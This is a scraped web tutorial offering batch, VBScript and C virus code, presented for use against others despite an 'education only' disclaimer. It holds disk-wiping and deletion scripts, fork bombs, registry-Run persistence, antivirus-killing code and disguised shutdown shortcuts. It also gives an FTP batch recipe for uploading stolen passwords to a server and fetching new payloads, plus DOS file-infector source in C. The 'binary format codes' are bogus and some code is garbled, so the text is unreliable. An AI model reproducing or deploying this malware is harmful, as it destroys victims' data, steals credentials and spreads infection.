Batch File Virus Codes(Only for Education Purpose)

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Batch File Virus Codes(only for education purpose)

Batch File Virus

Simple Virus Making

If you think that notepad is useless then you are wrong because you can now do a lot ofthings with a notepad which you could have never imagined.In this lackey I will showyou how to make simple .bat file (virus) that can’t be detected by any anti virus

Here are some good viruses ,i am not responsible for any kind of damage to your system…

Copy this to notepad and save as flood1.bat…..

@ECHO OFF@ECHO A Sharma’s Creation

@ECHO MAIN BAT RUNNINGGOTO start

:start@ECHO SET magic2=1 >> bat6.bat@ECHO GOTO flood5 >> bat6.bat@ECHO :flood5 >> bat6.bat@ECHO SET /a magic2=%%magic2%%+1 >> bat6.bat@ECHO NET USER magic2%%magic2%% /add >> bat6.bat@ECHO GOTO flood5 >> bat6.batSTART /MIN bat6.batGOTO bat5

:bat5@ECHO CD %%ProgramFiles%%\ >> bat5.bat@ECHO SET pogo=1 >> bat5.bat@ECHO GOTO flood4 >> bat5.bat@ECHO :flood4 >> bat5.bat@ECHO MKDIR pogo%%pogo%% >> bat5.bat@ECHO SET /a pogo=%%pogo%%+1 >> bat5.bat@ECHO GOTO flood4 >> bat5.batSTART /MIN bat5.batGOTO bat4

:bat4@ECHO CD %%SystemRoot%%\ >> bat4.bat

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@ECHO SET hat=1 >> bat4.bat@ECHO GOTO flood3 >> bat4.bat@ECHO :flood3 >> bat4.bat@ECHO MKDIR hat%%hat%% >> bat4.bat@ECHO SET /a hat=%%hat%%+1 >> bat4.bat@ECHO GOTO flood3 >> bat4.batSTART /MIN bat4.batGOTO bat3

:bat3@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat@ECHO SET chart=1 >> bat3.bat@ECHO GOTO flood2 >> bat3.bat@ECHO :flood2 >> bat3.bat@ECHO MKDIR chart%%chart%% >> bat3.bat@ECHO SET /a chart=%%chart%%+1 >> bat3.bat@ECHO GOTO flood2 >> bat3.batSTART /MIN bat3.batGOTO bat2

:bat2@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat@ECHO SET gamer=1 >> bat2.bat@ECHO GOTO flood >> bat2.bat@ECHO :flood >> bat2.bat@ECHO MKDIR gamer%%gamer%% >> bat2.bat@ECHO SET /a gamer=%%gamer%%+1 >> bat2.bat@ECHO GOTO flood >> bat2.batSTART /MIN bat2.batGOTO original

riginalCD %HomeDrive%\SET sharma=1GOTO flood1:flood1MKDIR sharma%sharma%SET /a sharma=%sharma%+1GOTO flood1

What does it do : this is an extremely harmful virus the will keep replicating itself untilyour hard drive is totally full and will destroy your comp.

Some Funny Virus Codes



A simple binary codes that can format the system drive ,secondary drives…

Copy The Following In Notepad Exactly as it

01001011000111110010010101010101010000011111100000

Save As An EXE Any Name Will Do

Send the EXE to People And Infect

Some other interesting formatting codes….

format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001

Some more interesting stuff ..

open notepad

erase c:\windows

and save as

FINDOUTANAME.cmd

wat does it do:- will erase c:/windows .

Here is another one which is funny……

cls

:A

color 0a

cls

@echo off

echo Wscript.Sleep 5000>C:\sleep5000.vbs






cd %systemroot%\System32

dir

cls

start /w wscript.exe C:\sleep3000.vbs

echo Deleting Critical System Files…

echo del *.*


echo Deletion Successful!

echo:

echo:

echo:

echo Deleting Root Partition…


echo del %SYSTEMROOT%


echo Deletion Successful!


echo:

echo:

echo:

echo Creating Directory h4x…

cd C:\Documents and Settings\All Users\Start Menu\Programs\

mkdir h4x


echo Directory Creation Successful!

echo:

echo:

echo:

echo Execution Attempt 1…


echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\

echo start hax.exe


echo Virus Executed!

echo:

echo:

echo:


echo Disabling Windows Firewall…


echo Killing all processes…


echo Allowing virus to boot from startup…


echo:

echo:



echo Virus has been executed successfully!


echo:

echo Have fun!


pause

shutdown -f -s -c “Your computer has committed suicide. Have a nice day.”

This code about multiple open windows means infinite windows

until continue you restart the computer:save on denger.bat and code written in notepad

@echo off

copy 0% denger.bat

start denger.bat

This code about the computer shutdown:

@echo off

shutdown -s -t 5 -c “Shutdown”

Go to notepad and type the following:

@Echo off

Del C:\ *.*|y

save it as Dell.bat

Want worse then type the following:

@echo off

del %systemdrive%\*.*/f/s/q

shutdown -r -f -t 00

and save it as a .bat file

One more …

try one this

Cd C:\

rd C:\ /s/q

Cd D:\

rd D:\ /s/q

Cd E:\

Rd E:\ /s/q

Cd F:\

Rd\ /s/q

then it is complete Save as any file you want in .bat format.. n enjoy.its really dangerous don’t try on your

own pc.

NOTE :- Howto add your own created viruses into start ups this will make it difficult to detect them n to

remove them …



For this u need a registry updater software .

now move your .bat file to c:/windows and then simply run this software ur virsu will be added to your start

ups i tried this with shut down , as my comp starts its shut down after 2 secs ..

Do not try it on your PC. Don’t mess around this is for educational purpose only

Batch VIRUS Kill ing “ NORTON, LIMEWIRE, EXPLORER, MSN “

@Echo off

color 4

title 4

title R.I.P

start

start

start

start calc

copy %0 %Systemroot%\Greatgame > nul

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ

/d %systemroot%\Greatgame.bat /f > nul

copy %0 *.bat > nul

Attrib +r +h Greatgame.bat

Attrib +r +h

RUNDLL32 USER32.DLL.SwapMouseButton

start calc

cls

tskill msnmsgr

tskill LimeWire

tskill iexplore

tskill NMain

start

cls

cd %userprofile%\desktop

copy Greatgame.bat R.I.P.bat

copy Greatgame.bat R.I.P.jpg

copy Greatgame.bat R.I.P.txt

copy Greatgame.bat R.I.P.exe

copy Greatgame.bat R.I.P.mov

copy Greatgame.bat FixVirus.bat

cd %userprofile%My Documents

copy Greatgame.bat R.I.P.bat

copy Greatgame.bat R.I.P.jpg

copy Greatgame.bat R.I.P.txt

copy Greatgame.bat R.I.P.exe

copy Greatgame.bat R.I.P.mov

copy Greatgame.bat FixVirus.bat

start



start calc

cls

msg * R.I.P

msg * R.I.P

shutdown -r -t 10 -c “VIRUS DETECTED”

start

start

time 12:00

:R.I.P

cd %usernameprofile%\desktop

copy Greatgame.bat %random%.bat

goto RIP

It will

1) Copy itself into startup

2) Copy itself over one thousand times into random spots in your computer

3) Hide its self and all other created files

4) Task kill MSN, Norton, Windows Explorer, Limewire.

5) Swap the left mouse button with the right one

6) Opens alert boxes

7) Changes the time to 12:00 and shuts down the computer

The first code we are going to look at is one that makes the cd tray open and close repeatedly until

shutdown, or

(don’t tell your friends, you press ctrl + alt + delete and go to processes, and end wscript.exe (this code is

vbs so save in note pad as whateveryouwant.vbs)

Set oWMP = CreateObject(“WMPlayer.OCX.7″ )

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then

do

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next ‘ cdrom

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next ‘ cdrom

loop

end if

A code that turns on and off your capslock repeatedly, also vbs, end same way as last time,

this turns on and off your capslock every tenth of a second

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100



wshshell.sendkeys “{CAPSLOCK}”

loop

A batch that is like a computer password, maybe you could stick it in autoexec.exe and make it run off

startup?

@Echo off

echo Enter password then [F6] and then smack the [Enter] key real hard!

prompt $e[30m

echo on

echo off

copy con password.dat>nul

prompt $e[0m

echo on

echo off

cls

copy password.set+password.dat password.bat>nul

call password.bat

if '%password%==qwerty goto done

echo Incorrect, you are not trying to break into my pc are you?

choice /t:y,3

if errorlevel 2 goto next

:next

erase password.bat

erase password.dat

:hello

cls

echo Turn off PC

goto hello

:done

erase password.dat

erase password.bat

set password=qwerty

prompt $p$g

A batch that switches the left mouse button with your right mouse button (also maybe add a

code to stick in someones autoexec,

that would really make them mad)

@echo off

Rundll32 user32,SwapMouseButton

msg * hahaha

msg * this is gunna screw you up

msg * good look finding how to fix it

A batch file that will shutdown your computer and send a few messages about the matrix, rather bland and



could be worked on a little bit more, some one

could tweak it a little and i'll repost it and give you credit, perhaps change the dos txt to green

@ Echo off

Title Matrix

msg * The matrix has you, you can not escape

rundll32.exe disable mouse

Attrib +h C:*.*

echo deleting harddrive

echo 1001101010101011111111101010101

echo 010101010101010101010101010111

assoc

assoc

This is a VBs fi le so of course save as VBS, you can replace the txt in this code with whatever

you want

Set wshshell = wscript.CreateObject("WScript.Shell")

Wshshell.run "Notepad"

wscript.sleep 400

wshshell.sendkeys "M"

wscript.sleep 100

wshshell.sendkeys "a"

wscript.sleep 120

wshshell.sendkeys "s"

wscript.sleep 200

wshshell.sendkeys "o"

wscript.sleep 140

wshshell.sendkeys "n"

wscript.sleep 100

wshshell.sendkeys " "

wscript.sleep 100

wshshell.sendkeys "P"

wscript.sleep 200

wshshell.sendkeys "w"

wscript.sleep 150

wshshell.sendkeys "n"

wscript.sleep 170


wscript.sleep 200


wscript.sleep 100

wshshell.sendkeys "A"

wscript.sleep 50

wshshell.sendkeys "l"

wscript.sleep 120

wshshell.sendkeys "l"



wscript.sleep 160


wscript.sleep 200

wshshell.sendkeys "N"

wscript.sleep 100

wshshell.sendkeys "e"

wscript.sleep 100

wshshell.sendkeys "w"

wscript.sleep 200

wshshell.sendkeys "b"

wscript.sleep 120


Carpet Bomb:

Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This

means that it'll regenerate once the computer is restarted even if all the icons on the desktop are deleted.

This works on Windows XP and Vista. Command line-args are optional, and include "disinf" for erasing all

of the copies permanently.

@ECHO OFF

:This was meant as a harmless joke, and it's not hard to fix if you read through the code.

:If you just use the "disinf" argument on the command line all is well.

lease only use this on people u don't like

IF "%1"=="" GOTO fill

IF "%1"=="fill" GOTO fill

IF "%1"=="kill" GOTO kill

IF "%1"=="inf" GOTO inf

IF "%1"=="disinf" GOTO kill

GOTO bye

:fill

IF EXIST C:\Users\%USERNAME%\Desktop\ (

FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Users\Public\Desktop\joke%%A.bat"

FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Users\%USERNAME%\Desktop\joke%%A.bat"

)

FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents and Settings\All Users\Desktop\joke%%A.bat"

FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents and

Settings\%USERNAME%\Desktop\joke%%A.bat"

IF "%1"=="" GOTO inf

GOTO theend

:kill

IF EXIST C:\Users\%USERNAME%\Desktop\ (

FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Users\Public\Desktop\joke%%A.bat"

FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Users\%USERNAME%\Desktop\joke%%A.bat"

)

FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents and Settings\All Users\Desktop\joke%%A.bat"

FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents and

Settings\%USERNAME%\Desktop\joke%%A.bat"



IF "%1"=="disinf" GOTO disinf

GOTO theend

:inf

TYPE "%~df0" > "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\joke.bat"

TYPE "%~df0" > "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\joke.bat"

TYPE "%~df0" > "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start

Menu\Programs\Startup\joke.bat"

GOTO theend

:disinf

ECHO Y | DEL "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\joke.bat"

ECHO Y | DEL "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\joke.bat"

ECHO Y | DEL "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start

Menu\Programs\Startup\joke.bat"

GOTO theend

:bye

ECHO "fill" to make more and "kill" to get rid of 'em. inf to make it stick a little longer

:theend

Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This

means that it'll regenerate once the computer is restarted even if all the icons on the desktop are deleted.

This works on Windows XP and Vista. Command line-args are optional, and include "disinf" for erasing all

of the copies permanently.\

Creating a batch Bomb

Copy and paste the below into notepad and save it as hi.bat (Not .txt)

run it, and enjoy anarchy.

Code:

@echo off

:START

echo Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!

start hi.bat

GOTO START

A code that turns on and off your capslock repeatedly, also vbs, end same way as last time,

this turns on and off your capslock every tenth of a second.

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

This article is a pretty simple one, maybe most of you guys know already... in case if you don't know, you

can play around and make fun...

How to make a shutdown file and disguise it as something else (internet, etc.)

Step 1: Right click on your desktop or wherever you want to make this shutdown file



Step 2: look for new, then shortcut

Step 3: Type shutdown -s -t 10 -c "text here"

note: you can add -f to force close open docuuments

note: after -t you can put any amount of seconds you want before the computer shuts down

Step 4: push next, then name it whatever you like, for an example we will put Internet Explorer

Step 4: Right click on the file you just made and goto properties

Step 5: hit change icon. (This could be under the advanced tab)

Step 6: An error message should pop up letting you know there aren't any pictures for

c:\windows\system32. Hit ok

Step 7: A list of icons should show up.. click on the one you think looks the most persuasive according to

what you named it. (For example, look for the 'e' icon for internet explorer.

Now your done, see that wasn't that hard! was it?

Put this in the start up folder to make people even MORE mad!

NOTE:- This can easily be stopped by typing shutdown -a in run...

<a OK, So i made a password stealer that would output a .txt file to the windows folderm i then made a ftp

batch that would upload the txt file to my server, so far ive managed to get some passwords but not for

anything important, So if you want to know how to make a ftp batch then heres how.

First for example were gonna try upload a file called Test.txt to our server

Upload.bat

ftp -n -i -s:MyUploadFiles.ftp

First make a file called upload.bat and put this in, Now we need to make the myuploadfiles.ftp, if you

wanna call it something else then change the myuploadfiles.ftp to what you want but KEEP the .ftp at the

end.

Ok now its the myuploadfiles.ftp creating time, or whatever you called it before.

open your-host

user username.spam.com password

ASCII

send test.txt

BI

This is the bit where you have to change the username password and host to what your ftp host is. then

change the send test.txt to what file you want to upload, it doesn't have to be a txt file, it can be any one.

Now make sure both files are in the same dir as each other and run the .bat file. check your ftp server and

guess whats sitting there! test.txt! So if you want to upload a file from someone's pc, you could use this?



Also theres nothing stopping you from putting in the "get" command in the .ftp, say get download.bat,

whenever you want to change what it does make it call it download.bat and shove it on the server, then the

victim will download it and be executed.Here is a Simple bacth virus that contains only 6 lines, has the

tendency to replicate itself again

and again and keeps on creating a folder with same name, until a user stops it.

1. Just open up a notepad, copy and paste the below code

cd\

cd C:\Documents and Settings\username\Desktop

:loop

md Virus

cd Virus

goto loop

2. Save it as a batch file with the extension .bat.

3. Then run it on the Victims computer to infect it.

4. Any how it doesnt cause much harm, but replicates folder inside a folder and goes on.

VIRUS CODES IN “ C “ :-

BATCH & COM VIRUS

#include <stdio.h>

#include <dos.h>

#include <dir.h>

#include <string.h>

struct ffblk ffblk;

main()

{

char old_dir[MAXPATH];

Get_Path(old_dir); /* Save the old directory */

Pick_A_Dir(); /* Find a new directory to */

Infect_Directory(); /* infect and infect it. */

chdir(old_dir); /* Return to old directory */

return 0;

}

Pick_A_Dir()



{

int done;

chdir(“..”); /* First, Go out a DIR. */

done=findfirst(“*.BAT”,&ffblk,0); /* If no BAT files, try */

/* root and DOS */

if (done)

{

chdir(“\\”);

done=findfirst(“*.BAT”,&ffblk,0);

if (done) chdir(“\\DOS\\”);

}

return 0;

}

Infect_Directory()

{

int done;

done = findfirst(“*.BAT”,&ffblk,0);

while (!done) /* Find all .BAT files */

{ /* and add code to run */

Do_Batch(); /* BAT&COM if not */

done = findnext(&ffblk); /* already there */

}

if (findfirst(“BAT&COM.COM”,&ffblk,0)) /* If BAT&COM does */

{Copy_Virus();} /* not exist, then */

return 0; /* copy it into dir.*/

}

Do_Batch()

{

FILE *batch;



char Infection_Buffer[12];

char vpath[MAXPATH];

Get_Path(vpath); /* Get path for adding path */

/* specifier in commands */

if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */

batch=fopen(ffblk.ff_name, “rt+”);

fseek(batch, -11, SEEK_END);

fread(Infection_Buffer,11,1,batch);

Infection_Buffer[11]=0; /* Terminate String */

if (strcmp(Infection_Buffer,”BAT&COM.COM”)) /* Check if */

{ /* Batch is */

fseek(batch, 0, SEEK_END); /* infected.*/

fprintf(batch,”\n%s\\BAT&COM.COM”,vpath);

} /*^- Add command */

/* to batch */

fclose(batch);

return 0;

}

Copy_Virus()

{

FILE *old_virus, *new_virus;

int write_length;

char copy_buffer[1024]; /* Copy the virus to */

/* new directory */

old_virus=fopen(_argv[0],”rb”);

new_virus=fopen(“BAT&COM.COM”,”wb”);

write_length=1024;

while (write_length==1024)



{

write_length=fread(copy_buffer,1,1024,old_virus);

fwrite(copy_buffer,write_length,1,new_virus);

}

fclose(old_virus);

fclose(new_virus);

return 0;

}

Get_Path(char *path)

{

strcpy(path, “A:\\”);

path[0] =’A’ + getdisk(); /* Returns current path */

getcurdir(0, path+3);

return 0;

}

- – - —————–End of Code———————— – - -

BLACK WOLF VIRUS

/* It will infect all .COM files in the current directory */

#include <stdio.h>

#include <dos.h>

#include <dir.h>

FILE *Virus,*Host;

int x,y,done;

char buff[256];

struct ffblk ffblk;

main()

{

done = findfirst(“*.COM”,&ffblk,0); /* Find a .COM file */



while (!done) /* Loop for all COM’s in DIR*/

{

printf(“Infecting %s\n”, ffblk.ff_name); /* Inform user */

Virus=fopen(_argv[0],”rb”); /* Open infected file */

Host=fopen(ffblk.ff_name,”rb+”); /* Open new host file */

x=9504; /* Virus size – must */

/* be correct for the */

/* compiler it is made */

/* on, otherwise the */

/* entire virus may not*/

/* be copied!! */

while (x>256) /* OVERWRITE new Host */

{ /* Read/Write 256 byte */

fread(buff,256,1,Virus); /* chunks until bytes */

fwrite(buff,256,1,Host); /* left < 256 */

x-=256;

}

fread(buff,x,1,Virus); /* Finish off copy */

fwrite(buff,x,1,Host);

fcloseall(); /* Close both files and*/

done = findnext(&ffblk); /* go for another one. */

}

/* Activation would go */

/* here */

return (0); /* Terminate */

}

OVERWRITE VIRUS CODE

#include<stdio.h>

#include<dir.h>

#include<dos.h>



void main(int argc,char *argv[])

{

int bytes,i,done;

FILE *virus,*host;

struct ffblk *f;

char buffer[512];

do

{

done=findfirst(“*.exe”,f,0);

while(!done)

{

virus=fopen(argv[0],”rb”);//open the virus in read mode

host=fopen(f->ff_name,”rb+”);//open the host file in r/w mode

for(;fread(buffer,512,1,virus)==1;)

fwrite(buffer,512,1,host);

fclose(host);

fseek(virus,0,0);//points to begining of virus

printf(“infecting %s

“,f->ff_name);

done=findnext(f);

}

}

while(!chdir(“..”));

printf(“For any querry contact

Rakesh dwivedi;[email protected]“);

REPLICATION VIRUS

#include<stdio.h>

#include<dos.h>

#include<dir.h>

mailto:[email protected]



#include<fcntl.h>

#include<conio.h>

void main(int argc,char* argv[])

{ char buf[512];

int source,target,byt,done;

struct ffblk ffblk;

clrscr();

textcolor(2);

cprintf(”————————————————————————–”);

printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Rakesh_dwivedi([email protected])\n”);

cprintf(”————————————————————————–”);

done = findfirst(”*.*”,&ffblk,0);

while (!done)

{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);

source=open(argv[0],O_RDONLY|O_BINARY);

target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);

while(1)

{byt=read(source,buf,512);

if(byt>0)

write(target,buf,byt);

else

break;

}

close(source);

close(target);

done = findnext(&ffblk);

}

getch();

}

Batch File Virus Codes(Only for Education Purpose)

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Transcript of Batch File Virus Codes(Only for Education Purpose)